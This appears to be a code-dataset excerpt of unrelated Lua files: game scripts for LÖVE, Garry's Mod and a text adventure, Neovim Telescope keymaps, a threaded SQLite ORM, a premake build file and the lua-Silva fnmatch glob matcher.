content
stringlengths
5
1.05M
-- -- Created by IntelliJ IDEA. -- User: nander -- Date: 22-4-2017 -- Time: 19:56 -- To change this template use File | Settings | File Templates. -- notes = {} for j=1,3 do notes[j] = {} for i=1,10 do notes[j][i] = love.audio.newSource("music/"..i..".ogg",true) if j == 2 then notes[j][i]:setVolume(0.7) else notes[j][i]:setVolume(1) end notes[j][i]:setPosition(-10*(2-j),5,0) end end local timer = 0 local stage = 0 local prev = 0 function sound() v = DETECTIONS.data[stage] local dist = v.dist if prev ~= 0 then notes[(stage+2)%3+1][prev]:stop() end if not dist or dist > 2000 then prev = 0 else dist = dist * 1.3 if dist > 2000 then return end prev = math.floor((2000-dist)/200) prev = math.max(stage, math.min(10,prev)) notes[stage][prev]:seek(0.1) notes[stage][prev]:play() end end return function(dt) timer = timer + dt if stage == 0 and timer > 3 then stage = 1 sound() end if stage == 1 and timer > 3.7 then stage = 2 sound() end if stage == 2 and timer > 4.4 then stage = 3 sound() timer = 0 stage=0 end end
-- This is an example room, with some basic stuff in it -- you should replace things with your own content -------------------------------------------------------------------------------- room = { short = "itemtest", name = "Item test room.", description = [[ This room was created to experiment with item tests. Type 'restart' in here to restart the system. ]] } exits = { { name="Center", alias="c", lua="center000", description = "Go back to the 'c'enter." } } -------------------------------------------------------------------------------- function OnLoad() print( "skeleton.lua -- OnLoad\n" ) end function OnUnload() print( "skeleton.lua -- OnUnload\n" ) end function OnPoll() print( "skeleton.lua -- Poll\n" ); SendCommand( kPSC_Warp, "center000" ) end function RoomDescription() end -------------------------------------------------------------------------------- looks = 0 function OnTyped( c, p ) if( c == "items" ) then ItemDump() return kOT_Used end if( c == "restart" ) then SendCommand( kPSC_Restart, "" ) return kOT_Used end if( c == "kill" and p == "self" ) then print( "YOU DIE NOW." ) SendCommand( kPSC_Quit, "" ) return kOT_Used end if( c == "look" ) then looks = looks + 1 return kOT_Unused end if( looks >3 ) then room["name"] = "Bedroom" room["description"] = "You see a bedroom." end if( looks > 10 ) then return kOT_Veto end if( looks > 15 ) then return kOT_Used end return kOT_Unused end
AddCSLuaFile() local DbgPrint = GetLogging("MapScript") local MAPSCRIPT = {} MAPSCRIPT.PlayersLocked = false MAPSCRIPT.DefaultLoadout = { Weapons = { "weapon_lambda_medkit", "weapon_crowbar", "weapon_pistol", "weapon_smg1", }, Ammo = { ["Pistol"] = 18, ["SMG1"] = 45, }, Armor = 0, HEV = true, } MAPSCRIPT.InputFilters = { } MAPSCRIPT.EntityFilterByClass = { --["env_global"] = true, } MAPSCRIPT.EntityFilterByName = { ["global_newgame_entmaker"] = true, } function MAPSCRIPT:Init() end function MAPSCRIPT:PostInit() if SERVER then local checkpoint1 = GAMEMODE:CreateCheckpoint(Vector(11292.084961, 2207.724365, -255.968750), Angle(0, -90, 0)) local checkpointTrigger1 = ents.Create("trigger_once") checkpointTrigger1:SetupTrigger( Vector(11296.274414, 2074.708008, -255.968750), Angle(0, 0, 0), Vector(-100, -100, 0), Vector(100, 100, 180) ) checkpointTrigger1.OnTrigger = function(_, activator) GAMEMODE:SetVehicleCheckpoint(Vector(10367.498047, 1265.902466, -487.621826), Angle(0, 90, 0)) GAMEMODE:SetPlayerCheckpoint(checkpoint1, activator) end -- Subtile rush blocking. ents.CreateSimple("prop_physics", { Model = "models/props_wasteland/laundry_washer003.mdl", Pos = Vector(7780.393555, 1381.725220, -228.653198), Ang = Angle(0, -90, 0), MoveType = MOVETYPE_NONE, SpawnFlags = SF_PHYSPROP_MOTIONDISABLED, Flags = FL_STATICPROP, }) -- Remove the default explose barrels, too easy to shoot from the gate. local searchPos = Vector(6975.288574, 1361.227783, -255.968735) for _,v in pairs(ents.FindInBox(searchPos - Vector(250, 250, 0), searchPos + Vector(255, 255, 100))) do if v:GetClass() == "prop_physics" and v:GetModel() == "models/props_c17/oildrum001_explosive.mdl" then v:Remove() end end -- Create better positioned ones. -- 6899.897461 1423.682495 -255.634171, 0.003 -171.758 0.005 ents.CreateSimple("prop_physics", { Model = "models/props_c17/oildrum001_explosive.mdl", Pos = Vector(6991.625488, 1304.797119, -255.640411), }) -- 6871.656250 1421.762695 -255.474014, -0.403 136.494 0.118 ents.CreateSimple("prop_physics", { Model = "models/props_c17/oildrum001_explosive.mdl", Pos = Vector(7020.829102, 1305.285522, -255.544678), }) -- Block the view to the barrels ents.CreateSimple("prop_physics", { Model = "models/props_debris/metal_panel01a.mdl", Pos = Vector(7050.838379, 1287.056885, -231.276840), Ang = Angle(6.208, -89.358, 90.071), }) ents.CreateSimple("prop_physics", { Model = "models/props_c17/oildrum001.mdl", Pos = Vector(7131.379883, 1305.574463, -255.968750), }) ents.CreateSimple("prop_physics", { Model = "models/props_c17/oildrum001.mdl", Pos = Vector(7089.489258, 1304.665649, -255.525589), }) -- Additional fancy ents.CreateSimple("prop_dynamic", { Model = "models/props_buildings/row_res_1_fullscale.mdl", Pos = Vector(9748.061523, -1349.575928, -6.638969), MoveType = MOVETYPE_NONE, }) end end function MAPSCRIPT:PostPlayerSpawn(ply) --DbgPrint("PostPlayerSpawn") end -- spillway_cop1 function CreateDropship() local landing = ents.Create("info_target") landing:SetPos(Vector(8791.229492, 240.316772, -255.968750)) landing:SetName("lambda_landing_1") landing:Spawn() local track1 = ents.Create("path_track") track1:SetPos(Vector(5090.260254, -4773.803223, 342.677246)) track1:SetName("lambda_track_1") track1:SetKeyValue("target", "lambda_track_2") track1:Spawn() track1:Activate() local track2 = ents.Create("path_track") track2:SetPos(Vector(11300.325195, 1308.573486, 138.682419)) track2:SetName("lambda_track_2") track2:SetKeyValue("target", "lambda_track_3") track2:Spawn() track2:Activate() local track3 = ents.Create("path_track") track3:SetPos(Vector(8555.336914, 269.825989, 25.706255)) track3:SetName("lambda_track_3") --track3:SetKeyValue("target", "lambda_track_4") track3:Spawn() track3:Activate() local track4 = ents.Create("path_track") track4:SetPos(Vector(6976.248535, 1049.134155, 661.333191)) track4:SetName("lambda_track_4") track4:SetKeyValue("target", "lambda_track_5") track4:Spawn() track4:Activate() local track5 = ents.Create("path_track") track5:SetPos(Vector(8382.391602, 579.510437, 183.660080)) track5:SetName("lambda_track_5") --track5:SetKeyValue("target", "lambda_landing_1") track5:Spawn() track5:Activate() local ship = ents.Create("npc_combinedropship") ship:SetPos(Vector(1623.408936, -6077.656250, 491.766144)) ship:SetKeyValue("NPCTemplate", "spillway_cop1") ship:SetKeyValue("NPCTemplate2", "spillway_cop1") ship:SetKeyValue("NPCTemplate3", "spillway_cop1") ship:SetKeyValue("NPCTemplate4", "spillway_cop1") ship:SetKeyValue("NPCTemplate5", "spillway_cop1") ship:SetKeyValue("NPCTemplate6", "spillway_cop1") ship:SetKeyValue("LandTarget", "lambda_landing_1") ship:SetKeyValue("InitialSpeed", "600") ship:SetKeyValue("CrateType", "1") ship:SetKeyValue("target", "lambda_track_1") ship:SetKeyValue("spawnflags", "16") ship:Spawn() --ship:Fire("StartScripting") ship:Fire("FlyToSpecificTrackViaPath", "lambda_track_1") --ship:Fire("LandTakeCrate", "6") end return MAPSCRIPT
local key_map = vim.api.nvim_set_keymap -- TELESCOPE keymaps 🔭 -- -- command palette key_map( "n", "<space>k", [[<Cmd>lua require('telescope').extensions.command_palette.command_palette()<CR>]], { noremap = true, silent = true } ) -- Search through your Neovim related todos key_map("n", "<leader>st", ":lua require'joel.telescope'.search_todos()<CR>", { noremap = true, silent = true }) -- search Brave bookmarks & go key_map( "n", "<space>b", [[<Cmd>lua require('telescope').extensions.bookmarks.bookmarks()<CR>]], { noremap = true, silent = true } ) -- open zoxide list key_map( "n", "<leader>z", ":lua require'telescope'.extensions.zoxide.list{results_title='Z Directories', prompt_title='Z Prompt'}<CR>", { noremap = true, silent = true } ) -- telescope-repo key_map("n", "<leader>rl", [[<Cmd>lua require'joel.telescope'.repo_list()<CR>]], { noremap = true, silent = true }) -- telescope notify history key_map( "n", "<leader>nh", [[<Cmd>lua require('telescope').extensions.notify.notify({results_title='Notification History', prompt_title='Search Messages'})<CR>]], { noremap = true, silent = true } ) -- Telescope resume (last picker) key_map("n", "<leader>tr", [[<Cmd>lua require'telescope.builtin'.resume()<CR>]], { noremap = true, silent = true }) -- LSP! -- show LSP implementations key_map( "n", "<leader>ti", [[<Cmd>lua require'telescope.builtin'.lsp_implementations()<CR>]], { noremap = true, silent = true } ) -- show LSP definitions key_map( "n", "<leader>td", [[<Cmd>lua require'telescope.builtin'.lsp_definitions({layout_config = { preview_width = 0.50, width = 0.92 }, path_display = { "shorten" }, results_title='Definitions'})<CR>]], { noremap = true, silent = true } ) -- show DOCUMENT Symbols key_map( "n", ",ws", [[<Cmd>lua require'telescope.builtin'.lsp_document_symbols()<CR>]], { noremap = true, silent = true } ) -- git telescope goodness -- git_branches key_map( "n", "<space>gb", [[<Cmd>lua require'telescope.builtin'.git_branches({prompt_title = ' ', results_title='Git Branches'})<CR>]], { noremap = true, silent = true, } ) -- git_bcommits - file scoped commits with diff preview. <C-V> for vsp diff to parent key_map( "n", "<space>gc", [[<Cmd>lua require'telescope.builtin'.git_bcommits({prompt_title = '  ', results_title='Git File Commits'})<CR>]], { noremap = true, silent = true } ) -- git_commits (log) git log key_map("n", "gl", [[<Cmd>lua require'telescope.builtin'.git_commits()<CR>]], { noremap = true, silent = true }) -- git_status - <tab> to toggle staging key_map("n", "gs", [[<Cmd>lua require'telescope.builtin'.git_status()<CR>]], { noremap = true, silent = true }) -- registers picker key_map("n", "<space>r", [[<Cmd>lua require'telescope.builtin'.registers()<CR>]], { noremap = true, silent = true }) -- find files including gitignored key_map( "n", ",f", [[<Cmd>lua require'telescope.builtin'.find_files({find_command={'fd','--no-ignore-vcs'}})<CR>]], { noremap = true, silent = true } ) -- show Workspace Diagnostics key_map("n", ",d", [[<Cmd>lua require'telescope.builtin'.diagnostics()<CR>]], { noremap = true, silent = true }) -- open available commands & run it key_map( "n", ",c", [[<Cmd>lua require'telescope.builtin'.commands({results_title='Commands Results'})<CR>]], { noremap = true, silent = true } ) -- Telescope oldfiles key_map( "n", ",o", [[<Cmd>lua require'telescope.builtin'.oldfiles({prompt_title=':oldfiles', results_title='Old Files'})<CR>]], { noremap = true, silent = true } ) -- Telescopic approach for FZF's :Lines key_map( "n", ",l", [[<Cmd>lua require('telescope.builtin').live_grep({grep_open_files=true})<CR>]], { noremap = true, silent = true } ) key_map("n", ",g", [[<Cmd>lua require'telescope.builtin'.live_grep()<CR>]], { noremap = true, silent = true }) -- Telescopic approach for FZF's :BLines key_map( "n", ",bf", [[<Cmd>lua require'telescope.builtin'.current_buffer_fuzzy_find()<CR>]], { noremap = true, silent = true } ) key_map( "n", ",k", [[<Cmd>lua require'telescope.builtin'.keymaps({results_title='Key Maps Results'})<CR>]], { noremap = true, silent = true } ) key_map( "n", ",b", [[<Cmd>lua require'telescope.builtin'.buffers({prompt_title = '', results_title='﬘', winblend = 3, layout_strategy = 'vertical', layout_config = { width = 0.60, height = 0.55 }})<CR>]], { noremap = true, silent = true } ) key_map( "n", ",h", [[<Cmd>lua require'telescope.builtin'.help_tags({results_title='Help Results'})<CR>]], { noremap = true, silent = true } ) key_map( "n", ",m", [[<Cmd>lua require'telescope.builtin'.marks({results_title='Marks Results'})<CR>]], { noremap = true, silent = true } ) -- find files with gitfiles & fallback on find_files key_map("n", ",<space>", [[<Cmd>lua require'joel.telescope'.project_files()<CR>]], { noremap = true, silent = true }) -- browse, explore and create notes key_map("n", ",n", [[<Cmd>lua require'joel.telescope'.browse_notes()<CR>]], { noremap = true, silent = true }) -- Explore files starting at $HOME key_map("n", ",e", [[<Cmd>lua require'joel.telescope'.file_explorer()<CR>]], { noremap = true, silent = true }) -- Browse files from cwd - File Browser key_map( "n", ",fb", [[<Cmd>lua require'telescope'.extensions.file_browser.file_browser()<CR>]], { noremap = true, silent = true } ) -- grep word under cursor key_map("n", "<leader>g", [[<Cmd>lua require'telescope.builtin'.grep_string()<CR>]], { noremap = true, silent = true }) -- grep word under cursor - case-sensitive (exact word) - made for use with Replace All - see <leader>ra key_map( "n", "<leader>G", [[<Cmd>lua require'telescope.builtin'.grep_string({word_match='-w'})<CR>]], { noremap = true, silent = true } ) -- find notes key_map("n", "<leader>n", [[<Cmd>lua require'joel.telescope'.find_notes()<CR>]], { noremap = true, silent = true }) -- search notes key_map("n", "<space>n", [[<Cmd>lua require'joel.telescope'.grep_notes()<CR>]], { noremap = true, silent = true }) -- Find files in config dirs key_map("n", "<space>e", [[<Cmd>lua require'joel.telescope'.find_configs()<CR>]], { noremap = true, silent = true }) -- greg for a string key_map("n", "<space>g", [[<Cmd>lua require'joel.telescope'.grep_prompt()<CR>]], { noremap = true, silent = true }) -- find or create neovim configs key_map("n", "<leader>nc", [[<Cmd>lua require'joel.telescope'.nvim_config()<CR>]], { noremap = true, silent = true }) -- Github issues key_map("n", "<leader>is", [[<Cmd>lua require'joel.telescope'.gh_issues()<CR>]], { noremap = true, silent = true }) -- github Pull Requests - PRs key_map("n", "<leader>pr", [[<Cmd>lua require'joel.telescope'.gh_prs()<CR>]], { noremap = true, silent = true }) -- neoclip key_map( "n", "<C-n>", [[<Cmd>lua require('telescope').extensions.neoclip.default()<CR>]], { noremap = true, silent = true } ) -- grep the Neovim source code with word under cursor → cword - just z to Neovim source for other actions key_map("n", "<leader>ns", [[<Cmd>lua require'joel.telescope'.grep_nvim_src()<CR>]], { noremap = true, silent = true }) -- End Telescope maps
local Dialogue = {} local API = require(script:GetCustomProperty("APIDialoguesLibrary")) function Dialogue.RegisterDialogue() -- Conversation Starter local id = "GenericConversation1" API.RegisterDialogueId(id) API.AddText(id, "Hello!", "unarmed_wave") API.AddText(id, "How are you?") API.AddOption(id, "Fine.", "GenericConversation2") API.AddOption(id, "Great!", "GenericConversation3") id = "GenericConversation2" API.RegisterDialogueId(id) API.AddText(id, "Good. Glad to hear that!", "unarmed_yes") API.AddText(id, "Have fun!", "unarmed_laugh") id = "GenericConversation3" API.RegisterDialogueId(id) API.AddText(id, "Nice! Me too!", "unarmed_yes") API.AddText(id, "Look around to find something cool!") end return Dialogue
------------------------------------------------------------------------------ -- Require -- ------------------------------------------------------------------------------ require ("orm.class.global") require ("orm.tools.func") ------------------------------------------------------------------------------ -- Required classes -- ------------------------------------------------------------------------------ local Select = require('orm.class.select') local Query, QueryList = require('orm.class.query') local fields = require('orm.tools.fields') local _DBDataThreadId = lua_thread.createThread(BusinessThreadLOGIC,"DB_DATA") ------------------------------------------------------------------------------ -- Table -- ------------------------------------------------------------------------------ Table = { DBDataThreadId = _DBDataThreadId, -- database table name __tablename__ = nil, -- Foreign Keys list foreign_keys = {}, } function Table:isTableExist(tableName) local sql = "SELECT tbl_name FROM sqlite_master WHERE type='table' AND tbl_name=?" local result = lua_thread.postToThreadSync(self.cacheThreadId,"orm.cache","query",sql,{tableName}) if result and #result > 0 then return true else return false end end function Table:existColumnsForTable(tableName) local sql = "PRAGMA table_info(" .. tableName .. ")" local result = lua_thread.postToThreadSync(self.cacheThreadId,"orm.cache","query",sql,{},"name") return result end function Table:existIndexesForTable(tableName) local sql = "PRAGMA index_list(" .. tableName .. ")" local result = lua_thread.postToThreadSync(self.cacheThreadId,"orm.cache","query",sql,{},"name") local ret = {} for _,v in ipairs(result) do if not v:startswith("sqlite_autoindex") then table.insert(ret,v) end end return ret end function Table:updateTableSchema(table_instance) local existColumns = self:existColumnsForTable(table_instance.__tablename__) local newColumns = {} for i,colType in ipairs(table_instance.__colnames) do table.insert(newColumns, colType.name) end for i,v in ipairs(existColumns) do if not table.has_value(newColumns, v) then error("DB Error: No mapping for existing column :" .. v) end end for i,colType in ipairs(table_instance.__colnames) do if not table.has_value(existColumns, colType.name) then local sql = "ALTER TABLE " .. table_instance.__tablename__ .." ADD COLUMN " .. colType.name .. " " .. colType:_create_type(true) lua_thread.postToThreadSync(self.cacheThreadId,"orm.cache","execute",sql) end end end function Table:createIndex(table_instance,colType) local sql = "CREATE INDEX IF NOT EXISTS " .. table_instance.__tablename__ .. "_".. colType.name .. " ON " .. table_instance.__tablename__ .. "(" .. colType.name .. ")" return lua_thread.postToThreadSync(self.cacheThreadId,"orm.cache","execute",sql) end function Table:createIndexes(table_instance) for i,colType in ipairs(table_instance.__colnames) do if colType.settings.index then self:createIndex(table_instance,colType) end end end function Table:updateTableIndex(table_instance) local existingIndexes = self:existIndexesForTable(table_instance.__tablename__) local existingIndexesMap = {} for i,v in ipairs(existingIndexes) do existingIndexesMap[v] = v end for i,colType in ipairs(table_instance.__colnames) do if colType.settings.index then if table.has_key(existingIndexesMap,table_instance.__tablename__ .. "_" .. colType.name) then self:createIndex(table_instance,colType) else existingIndexesMap[colType.name] = nil end end end for k,v in pairs(existingIndexesMap) do if v ~= nil then local sql = "DROP INDEX "..v lua_thread.postToThreadSync(self.cacheThreadId,"orm.cache","execute",sql) end end end -- This method create new table ------------------------------------------- -- @table_instance {table} class Table instance -- -- @table_instance.__tablename__ {string} table name -- @table_instance.__colnames {table} list of column instances -- @table_instance.__foreign_keys {table} list of foreign key -- column instances ------------------------------------------- function Table:create_table(table_instance) -- table information local tablename = table_instance.__tablename__ local columns = table_instance.__colnames local foreign_keys = table_instance.__foreign_keys BACKTRACE(INFO, "Start create table: " .. tablename) -- other variables local create_query = "CREATE TABLE IF NOT EXISTS `" .. tablename .. "` \n(" local counter = 0 local column_query local result for _, coltype in pairs(columns) do column_query = "\n `" .. coltype.name .. "` " .. coltype:_create_type() if counter ~= 0 then column_query = "," .. column_query end create_query = create_query .. column_query counter = counter + 1 end for _, coltype in pairs(foreign_keys) do if not coltype.settings.to.__primary_key then error("FOREIGN KEY to table no primary_key" ) end local toTablePrimaryParam = coltype.settings.to.__tablename__ create_query = create_query .. ",\n FOREIGN KEY(`" .. coltype.name .. "`)" .. " REFERENCES `" .. coltype.settings.to.__tablename__ .. "`(`" ..coltype.settings.to.__primary_key.name.."`)" end create_query = create_query .. "\n)" lua_thread.postToThreadSync(self.cacheThreadId,"orm.cache","execute",create_query) end function Table.addTableInfo(params,callback) local function c() callback(nil) end local threadId = lua_thread.createThread(BusinessThreadLOGIC,"OrmsThread") lua_thread.postToThread(threadId,"orm.class.table","addTableInfoOnLogicThread",params, c); end function Table.addTableInfoOnLogicThread(params,callback) local tableName = params.name local info = params.args local threadId = lua_thread.createThread(BusinessThreadLOGIC,"DB_DATA") lua_thread.postToThreadSync(threadId,"orm.dbData","setDBParams",tableName, info) Table(tableName) callback(); end function Table.saveOrm(params,callback) local function c(result) callback(result) end local threadId = lua_thread.createThread(BusinessThreadLOGIC,"OrmsThread") lua_thread.postToThread(threadId,"orm.class.table","saveOrmOnLogicThread",params, c); end function Table.saveOrmOnLogicThread(params,callback) local tableName = params.name local orm = params.args local t = Table(tableName) local data = t(orm) local result = data:save(); callback(result); end function Table.batchSaveOrms(params,callback) local tableName = params.name local data = params.args local t = Table(tableName) -- print("time -1 ".. require("socket").gettime()) -- local list = require('orm.class.query_list')(t,data) for _, d in pairs(data) do local kv = d local needPrimaryKey = false if t.__primary_key and t.__primary_key.field.__type__ == "integer" and (not d[t.__primary_key.name]) then needPrimaryKey = true end local param = {} param["kv"] = kv param["needPrimaryKey"] = needPrimaryKey table.insert(params, param) end -- print("time 1 ".. require("socket").gettime()) lua_thread.postToThread(t.cacheThreadId,"orm.cache","batchInsert",t.__tablename__,params) -- print("time -2 ".. require("socket").gettime()) callback(nil); end function Table.batchSaveOrmsOnLogicThread(params,callback) end function Table.prepareQuery(t,params) local tableGet = t.get for _,v in ipairs(params) do local type = v.type local value = v.value if type == "WHERE_COLUMS" then local wt = {} for _,p in ipairs(value) do local columName = p.columName; local pv = p.value; local ptype = p.type; local key; if ptype == "LESS_THEN" then key = columName.."__lt" elseif ptype == "EQ_OR_LESS_THEN" then key = columName.."__lte" elseif ptype == "MORE_THEN" then key = columName.."__gt" elseif ptype == "EQ_OR_MORE_THEN" then key = columName.."__gte" elseif ptype == "IN" then key = columName.."__in" elseif ptype == "NOT_IN" then key = columName.."__notin" elseif ptype == "IS_NULL" then key = columName.."__null" elseif ptype == "LIKE" then key = columName.."__like" end wt[key] = pv end tableGet:where(wt) elseif type == "WHERE_SQL" then local sql = value.sql local args = value.args tableGet:where(args,sql) elseif type == "PRIMARY_KEY" then tableGet:primaryKey(value) elseif type == "LIMIT" then tableGet:limit(value) elseif type == "OFFSET" then tableGet:offset(value) elseif type == "ORDER_BY" then tableGet:order_by(value) elseif type == "GROUP_BY" then tableGet:group_by(value) elseif type == "HAVING" then tableGet:having(value) elseif type == "HAVING_BY_BINDS" then local sql = value.sql local args = value.args tableGet:having(args, sql) elseif type == "NEED_COLUMNS" then tableGet:needColumns(value) elseif type == "JOIN" then local tableName = value.tableName local joinType = value.type local where = value.where local whereBindingValues = value.whereBindingValues local needColumns = value.needColumns local matchColumns = value.matchColumns local t = Table(tableName) if joinType == "INNER" then tableGet:join(t,where,whereBindingValues,needColumns,matchColumns) elseif joinType == "FULL" then tableGet:full_join(t,where,whereBindingValues,needColumns,matchColumns) elseif joinType == "LEFT" then tableGet:left_join(t,where,whereBindingValues,needColumns,matchColumns) elseif joinType == "RIGHT" then tableGet:right_join(t,where,whereBindingValues,needColumns,matchColumns) end end end return tableGet end function Table.getAllByParams(params,callback) local function c(d) callback(d) end local threadId = lua_thread.createThread(BusinessThreadLOGIC,"OrmsThread") lua_thread.postToThread(threadId,"orm.class.table","getAllByParamsOnLogicThread",params, c); end function Table.getAllByParamsOnLogicThread(params,callback) local tableName = params.name local data = params.args local t = Table(tableName) local selectItem = Table.prepareQuery(t,data) local result = selectItem:all() if result then callback(result:getPureData()) else callback(nil) end end function Table.getFirstByParams(params,callback) local function c(d) callback(d) end local threadId = lua_thread.createThread(BusinessThreadLOGIC,"OrmsThread") lua_thread.postToThread(threadId,"orm.class.table","getFirstOnLogicThread",params, c); end function Table.getFirstOnLogicThread(params,callback) local tableName = params.name local data = params.args local t = Table(tableName) local selectItem = Table.prepareQuery(t,data) local result = selectItem:first() if result then callback(result:getPureData()) else callback(nil) end end function Table.deleteByParams(params,callback) local function c() callback(nil) end local threadId = lua_thread.createThread(BusinessThreadLOGIC,"OrmsThread") lua_thread.postToThread(threadId,"orm.class.table","deleteByParamsOnLogicThread",params, c); end function Table.deleteByParamsOnLogicThread(params,callback) local tableName = params.name local data = params.args local t = Table(tableName) local selectItem = Table.prepareQuery(t,data) selectItem:delete() callback(); end function Table.updateByParams(params,callback) local function c() callback(nil) end local threadId = lua_thread.createThread(BusinessThreadLOGIC,"OrmsThread") lua_thread.postToThread(threadId,"orm.class.table","updateByParamsOnLogicThread",params, c); end function Table.updateByParamsOnLogicThread(params,callback) local tableName = params.name local data = params.args local updateValue = params.updateValue local t = Table(tableName) local selectItem = Table.prepareQuery(t,data) selectItem:update(updateValue); callback(); end -- Create new table instance -------------------------------------- -- @args {table} must have __tablename__ key -- and other must be a column names -------------------------------------- argsCache = {} function Table.new(self, tableName) local args = argsCache[tableName] or lua_thread.postToThreadSync(self.DBDataThreadId,"orm.dbData","tableParams",tableName) if args then argsCache[tableName] = args; end if _G.All_Tables[args.__dbname__.."_"..args.__tablename__] then return _G.All_Tables[args.__dbname__.."_"..args.__tablename__] end self.__tablename__ = args.__tablename__ self.__dbname__ = args.__dbname__ lua_thread.synchronized(function () local cacheName = "cache_"..self.__dbname__ local dbInfo = lua_thread.postToThreadSync(self.DBDataThreadId,"orm.dbData","get",self.__dbname__) if not dbInfo then local cacheThreadId = lua_thread.createThread(BusinessThreadLOGIC,cacheName) dbInfo = { threadName = cacheName, threadId = cacheThreadId } lua_thread.postToThreadSync(self.DBDataThreadId,"orm.dbData","set", self.__dbname__,dbInfo) end lua_thread.postToThreadSync(dbInfo.threadId,"orm.cache","initWithDB",self.__dbname__) self.cacheThreadId = dbInfo.threadId end) args.__tablename__ = nil args.__dbname__ = nil local Table_instance = { ------------------------------------------------ -- Table info varibles -- ------------------------------------------------ -- SQL table name __tablename__ = self.__tablename__, -- SQL db name __dbname__ = self.__dbname__, -- list of column names __colnames = {}, -- Foreign keys list __foreign_keys = {}, __primary_key = nil, ------------------------------------------------ -- Metamethods -- ------------------------------------------------ -- If try get value by name "get" it return Select class instance __index = function (self, key) if key == "get" then return Select(self) end local old_index = self.__index setmetatable(self, {__index = nil}) key = self[key] setmetatable(self, {__index = old_index, __call = self.create}) return key end, -- Create new row instance ----------------------------------------- -- @data {table} parsed query answer data -- -- @retrun {table} Query instance ----------------------------------------- create = function (self, data) return Query(self, data) end, ------------------------------------------------ -- Methods which using -- ------------------------------------------------ -- parse column in correct types column = function (self, column) local tablename = self.__tablename__ if Type.is.table(column) and column.__classtype__ == AGGREGATOR then column.colname = tablename .. column.colname column = column .. "" end return tablename .. "." .. column, tablename .. "_" .. column end, -- Check column in table ----------------------------------------- -- @colname {string} column name -- -- @return {boolean} get true if column exist ----------------------------------------- has_column = function (self, colname) for _, table_column in pairs(self.__colnames) do if table_column.name == colname then return true end end end, -- get column instance by name ----------------------------------------- -- @colname {string} column name -- -- @return {table} get column instance if column exist ----------------------------------------- get_column = function (self, colname) for _, table_column in pairs(self.__colnames) do if table_column.name == colname then return table_column end end BACKTRACE(WARNING, "Can't find column '" .. tostring(column) .. "' in table '" .. self.__tablename__ .. "'") end } Table_instance.cacheThreadId = self.cacheThreadId -- copy column arguments to new table instance for colname, coltype in pairs(args) do if coltype[2].to then coltype[2].to = _G.All_Tables[coltype[2].to] end local typeStr = coltype[1] coltype = fields[coltype[1]](coltype[2]) coltype.name = colname coltype.__table__ = Table_instance coltype.typeStr = typeStr table.insert(Table_instance.__colnames, coltype) if coltype.settings.foreign_key then table.insert(Table_instance.__foreign_keys, coltype) end if coltype.settings.primary_key then Table_instance.__primary_key = coltype end end Table_instance.args = args Table_instance.args.__tablename__ =self.__tablename__ Table_instance.args.__dbname__ =self.__dbname__ setmetatable(Table_instance, { __call = Table_instance.create, __index = Table_instance.__index }) _G.All_Tables[self.__dbname__.."_"..self.__tablename__] = Table_instance -- Create ne table if need if self:isTableExist(self.__tablename__) then self:updateTableSchema(Table_instance) self:updateTableIndex(Table_instance) else self:create_table(Table_instance) self:createIndexes(Table_instance) end return Table_instance end setmetatable(Table, {__call = Table.new}) return Table
project "vaultConvertCMD" --Settings kind "ConsoleApp" language "C++" staticruntime "On" --Files to include files { "src/**.cpp", "src/**.h" } files { "project.lua" } --This project includes includedirs { "src" } includedirs { "../3rdParty/udcore/Include" } links { "udCore" .. (projectSuffix or "") } injectvaultsdkbin() filter { "system:windows" } links { "ws2_32.lib", "winmm.lib" } files { "**.rc" } filter { "system:macosx" } frameworkdirs { "/Library/Frameworks/" } links { "CoreFoundation.framework", "Security.framework" } filter { "system:linux" } linkoptions { "-Wl,-rpath '-Wl,$$ORIGIN'" } -- Check beside the executable for the SDK filter {} -- include common stuff dofile "../3rdParty/udcore/bin/premake-bin/common-proj.lua" filter {} targetdir "../builds" debugdir "../builds"
object_tangible_tcg_series8_combine_decorative_bespin_lamp_on = object_tangible_tcg_series8_shared_combine_decorative_bespin_lamp_on:new { } ObjectTemplates:addTemplate(object_tangible_tcg_series8_combine_decorative_bespin_lamp_on, "object/tangible/tcg/series8/combine_decorative_bespin_lamp_on.iff")
function mmpkg.isDead() mmpkg.isWalking = false mmpkg.myAffects = mmpkg.myAffects or {} mmpkg.myAffects.affects = {} mmpkg.updateMaxStats() mmpkg.updateVitals() end
-- -- lua-Silva : <https://fperrad.frama.io/lua-Silva/> -- local modname = string.gsub(..., '%.%w+$', '') local matcher = require(modname).matcher local pcall = pcall local require = require local sub = string.sub local _ENV = nil local match local r, ffi = pcall(require, 'ffi') if r then pcall(function () ffi.cdef"int fnmatch(const char *pattern, const char *string, int flags);" local fnmatch = ffi.C.fnmatch match = function (s, patt) if 0 == fnmatch(patt, s, -1) then return s end end end) end if not match then local posix r, posix = pcall(require, 'posix.fnmatch') if r then local fnmatch = posix.fnmatch match = function (s, patt) if 0 == fnmatch(patt, s, -1) then return s end end end end if not match then match = function (s, patt, i, j) i = i or 1 j = j or 1 while j <= #patt do local c = sub(s, i, i) local p = sub(patt, j, j) if p == '?' then if c == '' then return end if c == '/' then return end if c == '.' and ((i == 1) or (sub(s, i-1, i-1) == '/')) then return end elseif p == '*' then if c == '.' and ((i == 1) or (sub(s, i-1, i-1) == '/')) then return end j = j + 1 p = sub(patt, j, j) while p == '?' or p == '*' do if c == '/' then return end if p == '?' and c == '' then return end j = j + 1 p = sub(patt, j, j) i = i + 1 c = sub(s, i, i) end if c == '' then return s end while i <= #s do i = i + 1 c = sub(s, i, i) if (p == '[' or c == p) and match(s, patt, i, j) then return s end end return elseif p == '[' then if c == '' then return end if c == '.' and ((i == 1) or (sub(s, i-1, i-1) == '/')) then return end j = j + 1 p = sub(patt, j, j) local compl = (p == '!') or (p == '^') if compl then j = j + 1 p = sub(patt, j, j) end local matched while true do local cstart, cend = p, p if p == '' then return -- [ (unterminated) end j = j + 1 p = sub(patt, j, j) if p == '/' and not compl then return -- [/] can never match end if p == '-' and sub(patt, j+1, j+1) ~= ']' then j = j + 1 cend = sub(patt, j, j) if cend == '' then return end j = j + 1 p = sub(patt, j, j) end if c >= cstart and c <= cend then matched = true while p ~= ']' do -- skip the rest if p == '' then return -- [ (unterminated) end j = j + 1 p = sub(patt, j, j) end if compl then return end break elseif p == ']' then break end end if not matched and not compl then return end else if p ~= c then return end end i = i + 1 j = j + 1 end if sub(s, i, i) == '' then return s end end end return matcher(match) -- -- Copyright (c) 2017-2019 Francois Perrad -- -- This library is licensed under the terms of the MIT/X11 license, -- like Lua itself. --
